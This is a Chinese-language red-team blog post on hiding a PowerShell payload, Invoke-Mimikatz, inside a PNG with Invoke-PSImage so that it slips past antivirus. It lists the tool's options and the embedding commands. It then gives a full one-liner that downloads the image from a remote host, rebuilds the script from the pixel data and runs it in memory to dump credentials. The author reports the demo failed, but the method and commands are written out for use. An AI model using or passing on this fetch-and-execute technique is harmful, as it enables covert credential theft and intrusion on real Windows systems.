红队攻防之图片免杀执行远程命令
红队攻防之图片免杀执行远程命令
0x01 前言
powershell与图片通过Invoke-PSImage合成执行远程命令
0x02 Invoke-PSImage
Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。它从Web的文件生成一个oneliner来执行。
它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,以便看起来像实际的图片。图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。创建新图像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%。
使用embed方法时,每个像素中2个颜色值的最低有效4位用于保存有效负载。结果会降低图像质量,但看起来仍然不错。它可以接受大多数图像类型作为输入,但是输出始终是PNG,因为它需要无损。图像的每个像素都用于保存脚本的一个字节,因此您需要一个图像,其像素至少与脚本中的字节一样多。这相当容易-例如,Invoke-Mimikatz适合1920x1200的图像。
参数
-Script [filepath]嵌入到图像中的脚本的路径。
-Out [filepath]将结果图像保存到的文件(图像将为PNG)
-Image [filepath]要嵌入脚本的图像。(可选)
-WebRequest 输出用于使用Net.WebClient从Web读取图像的命令。您将需要托管图像并将URL插入命令中。
-PictureBox 输出用于使用System.Windows.Forms.PictureBox从Web读取图像的命令。您将需要托管图像并将URL插入命令中。
例
创建一个嵌入了脚本“ Invoke-Mimikatz.ps1”的映像,并输出一个oneliner以从磁盘执行:
1 | PS>Import-Module .\Invoke-PSImage.ps1 |
创建一个嵌入了脚本“ Invoke-Mimikatz.ps1”的图像,然后输出一个oneliner以从Web执行(您仍然必须托管该图像并编辑URL):
1 | PS>Import-Module .\Invoke-PSImage.ps1 |
执行网络上托管的图像:
0x03 操作演示
准备
1.图片(2000*2000)左右或者以上 ,注:我曾用过8K之上的图片,合成了三个多小时emmmm
2.Invoke-PSImage
3.Invoke-Mimikatz(powershell脚本,当然你也可以自己写或者利用msf、cs神器等等生成ps脚本)
4.w7虚拟机web环境
操作过程
1 | Import-Module .\Invoke-PSImage.ps1 |
1 | Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\caijue.png -Out .\caijueshell.png -Web |
将生成的图片放入远程服务器
并在本地执行
1 | sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.21.135/caijueshell.png"));$o=a Byte [] 2204160;(0..573)|%{foreach($x in(0..3839)){$p=$g.GetPixel($x,$_);$o[$_*3840+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([Sys tem.Text.Encoding]::ASCII.GetString($o[0..2204116])):Invoke-Mimikatz |
理论上没问题,但是我出错了,,,后来感觉可能是mimikatz的问题,用msfvenom生成一个ps操作,,,发现好像是ps的问题,不搞了2点了,狗命要紧